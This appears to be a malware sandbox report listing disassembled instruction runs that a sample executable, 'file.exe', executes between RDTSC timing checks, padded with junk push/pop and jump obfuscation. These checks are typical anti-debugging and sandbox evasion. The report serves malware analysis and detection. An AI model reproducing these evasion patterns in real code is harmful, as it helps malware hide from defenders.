Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF02AE second address: FF02B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF02B2 second address: FF02C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FE0F4D44906h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF02C1 second address: FF02D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE0F4DC3CA6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push edi 0x00000010 jo 00007FE0F4DC3CA6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5DC8 second address: FF5DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FE0F4D4490Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE0F4D44912h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5DFF second address: FF5E25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB7h 0x00000007 jg 00007FE0F4DC3CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFAC81 second address: FFAC86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFAC86 second address: FFAC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100256C second address: 100258C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4D4490Dh 0x00000009 ja 00007FE0F4D44906h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007FE0F4D44906h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100258C second address: 10025AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FE0F4DC3CADh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10025AF second address: 10025B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10025B5 second address: 10025B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10025B9 second address: 10025C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100508F second address: 1005093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005093 second address: 10050A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE0F4D44908h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B42E second address: 100B432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B589 second address: 100B59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4D44910h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B712 second address: 100B758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FE0F4DC3CC6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE0F4DC3CACh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C526 second address: 100C565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FE0F4D44915h 0x0000000e popad 0x0000000f pushad 0x00000010 jnl 00007FE0F4D44917h 0x00000016 ja 00007FE0F4D4490Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C565 second address: 100C571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007FE0F4DC3CA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010DCB second address: 1010DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D6E7 second address: 102D6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE0F4DC3CA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D6F6 second address: 102D6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D6FA second address: 102D6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D534 second address: 102D56A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE0F4D4491Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FE0F4D4490Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jnl 00007FE0F4D44906h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D56A second address: 102D574 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE0F4DC3CA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D574 second address: 102D57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10460CB second address: 10460D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046227 second address: 1046233 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007FE0F4D44906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046233 second address: 104623B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104667C second address: 104668B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FE0F4D44906h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104668B second address: 1046693 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046FFA second address: 1047001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047001 second address: 1047021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB8h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049C7A second address: 1049C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049C80 second address: 1049C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049D35 second address: 1049D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049ED0 second address: 1049EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE0F4DC3CADh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049EE4 second address: 1049EE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F5E second address: 1049F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4DC3CB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F75 second address: 1049F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F79 second address: 104A027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jmp 00007FE0F4DC3CACh 0x0000000f pop edi 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FE0F4DC3CA8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b xor dword ptr [ebp+1247F435h], edx 0x00000031 mov dword ptr [ebp+122D1B5Ah], esi 0x00000037 push 00000004h 0x00000039 add dword ptr [ebp+124554D0h], ecx 0x0000003f call 00007FE0F4DC3CA9h 0x00000044 push edx 0x00000045 jno 00007FE0F4DC3CACh 0x0000004b pop edx 0x0000004c push eax 0x0000004d push ebx 0x0000004e push edx 0x0000004f jmp 00007FE0F4DC3CB4h 0x00000054 pop edx 0x00000055 pop ebx 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a jmp 00007FE0F4DC3CB5h 0x0000005f mov eax, dword ptr [eax] 0x00000061 jng 00007FE0F4DC3CBEh 0x00000067 pushad 0x00000068 jmp 00007FE0F4DC3CB0h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A227 second address: 104A231 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A231 second address: 104A28E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FE0F4DC3CB7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FE0F4DC3CACh 0x00000013 nop 0x00000014 push dword ptr [ebp+122D2642h] 0x0000001a sub dx, 2857h 0x0000001f call 00007FE0F4DC3CA9h 0x00000024 push edi 0x00000025 push edi 0x00000026 jmp 00007FE0F4DC3CAEh 0x0000002b pop edi 0x0000002c pop edi 0x0000002d push eax 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jbe 00007FE0F4DC3CA6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EBF3 second address: 104EBF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EBF7 second address: 104EC40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CAAh 0x00000007 jmp 00007FE0F4DC3CAAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FE0F4DC3CB9h 0x00000013 jmp 00007FE0F4DC3CAAh 0x00000018 popad 0x00000019 push eax 0x0000001a push ebx 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop ebx 0x0000001e js 00007FE0F4DC3CAEh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02B0 second address: 4EC02CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4D44918h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02CC second address: 4EC0323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 pushfd 0x00000011 jmp 00007FE0F4DC3CB0h 0x00000016 adc al, 00000028h 0x00000019 jmp 00007FE0F4DC3CABh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007FE0F4DC3CB9h 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03D0 second address: 4EC0404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FE0F4D4490Ch 0x00000010 mov dx, si 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE0F4D4490Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0404 second address: 4EC040A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC040A second address: 4EC0429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE0F4D44914h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0429 second address: 4EC0448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 728852D4h 0x00000008 jmp 00007FE0F4DC3CADh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0448 second address: 4EC044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC044E second address: 4EC0453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC049D second address: 4EC0570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 093Ah 0x00000007 pushfd 0x00000008 jmp 00007FE0F4D4490Bh 0x0000000d add eax, 430868DEh 0x00000013 jmp 00007FE0F4D44919h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e movzx ecx, dx 0x00000021 push ebx 0x00000022 pushfd 0x00000023 jmp 00007FE0F4D44914h 0x00000028 xor esi, 2AB7F808h 0x0000002e jmp 00007FE0F4D4490Bh 0x00000033 popfd 0x00000034 pop eax 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FE0F4D44914h 0x0000003e add eax, 33B01A68h 0x00000044 jmp 00007FE0F4D4490Bh 0x00000049 popfd 0x0000004a mov si, 285Fh 0x0000004e popad 0x0000004f xchg eax, ebp 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007FE0F4D44917h 0x00000059 xor ecx, 48129E5Eh 0x0000005f jmp 00007FE0F4D44919h 0x00000064 popfd 0x00000065 mov di, ax 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0570 second address: 4EC0592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE0F4DC3CADh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC05CC second address: 4EC05D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC05D2 second address: 4EC0622 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 718A933Dh 0x0000000e jmp 00007FE0F4DC3CB1h 0x00000013 add dword ptr [esp], 035B88EBh 0x0000001a jmp 00007FE0F4DC3CAEh 0x0000001f call 00007FE164CF7689h 0x00000024 push 74DF27D0h 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov eax, dword ptr [esp+10h] 0x00000034 mov dword ptr [esp+10h], ebp 0x00000038 lea ebp, dword ptr [esp+10h] 0x0000003c sub esp, eax 0x0000003e push ebx 0x0000003f push esi 0x00000040 push edi 0x00000041 mov eax, dword ptr [74E80140h] 0x00000046 xor dword ptr [ebp-04h], eax 0x00000049 xor eax, ebp 0x0000004b push eax 0x0000004c mov dword ptr [ebp-18h], esp 0x0000004f push dword ptr [ebp-08h] 0x00000052 mov eax, dword ptr [ebp-04h] 0x00000055 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005c mov dword ptr [ebp-08h], eax 0x0000005f lea eax, dword ptr [ebp-10h] 0x00000062 mov dword ptr fs:[00000000h], eax 0x00000068 ret 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FE0F4DC3CAAh 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0622 second address: 4EC0626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0626 second address: 4EC062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC062C second address: 4EC0631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0631 second address: 4EC067C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e mov esi, 79B998ABh 0x00000013 call 00007FE0F4DC3CB0h 0x00000018 mov eax, 4AAA6611h 0x0000001d pop esi 0x0000001e popad 0x0000001f mov edx, dword ptr [ebp+0Ch] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 call 00007FE0F4DC3CB6h 0x0000002a pop eax 0x0000002b mov ax, dx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC067C second address: 4EC06DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D4490Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007FE0F4D44910h 0x00000010 mov al, byte ptr [edx] 0x00000012 jmp 00007FE0F4D44910h 0x00000017 inc edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE0F4D4490Dh 0x00000021 adc eax, 408CB796h 0x00000027 jmp 00007FE0F4D44911h 0x0000002c popfd 0x0000002d mov ah, ECh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC06DD second address: 4EC06E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC06E3 second address: 4EC06E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC06E7 second address: 4EC06DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FE0F4DC3CB0h 0x0000000f jne 00007FE0F4DC3C3Dh 0x00000015 mov al, byte ptr [edx] 0x00000017 jmp 00007FE0F4DC3CB0h 0x0000001c inc edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FE0F4DC3CADh 0x00000026 adc eax, 408CB796h 0x0000002c jmp 00007FE0F4DC3CB1h 0x00000031 popfd 0x00000032 mov ah, ECh 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC073B second address: 4EC073F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC073F second address: 4EC0743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0743 second address: 4EC0749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0749 second address: 4EC0769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0769 second address: 4EC079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE0F4D44913h 0x0000000a adc al, FFFFFF9Eh 0x0000000d jmp 00007FE0F4D44919h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC079F second address: 4EC07DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007FE0F4DC3CAEh 0x00000011 inc edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE0F4DC3CB7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07DF second address: 4EC07F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE0F4D44914h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07F7 second address: 4EC07FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07FB second address: 4EC08BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b push edi 0x0000000c call 00007FE0F4D44918h 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 mov esi, 726753F7h 0x00000018 popad 0x00000019 jne 00007FE164C6CB5Eh 0x0000001f pushad 0x00000020 mov dx, cx 0x00000023 call 00007FE0F4D44914h 0x00000028 mov cx, A371h 0x0000002c pop eax 0x0000002d popad 0x0000002e mov ecx, edx 0x00000030 jmp 00007FE0F4D4490Dh 0x00000035 shr ecx, 02h 0x00000038 jmp 00007FE0F4D4490Eh 0x0000003d rep movsd 0x0000003f rep movsd 0x00000041 rep movsd 0x00000043 rep movsd 0x00000045 rep movsd 0x00000047 jmp 00007FE0F4D44910h 0x0000004c mov ecx, edx 0x0000004e jmp 00007FE0F4D44910h 0x00000053 and ecx, 03h 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 pushfd 0x0000005a jmp 00007FE0F4D4490Dh 0x0000005f add ecx, 5585C2C6h 0x00000065 jmp 00007FE0F4D44911h 0x0000006a popfd 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08BC second address: 4EC08C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08C4 second address: 4EC08E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 rep movsb 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE0F4D44917h 0x00000010 rdtsc
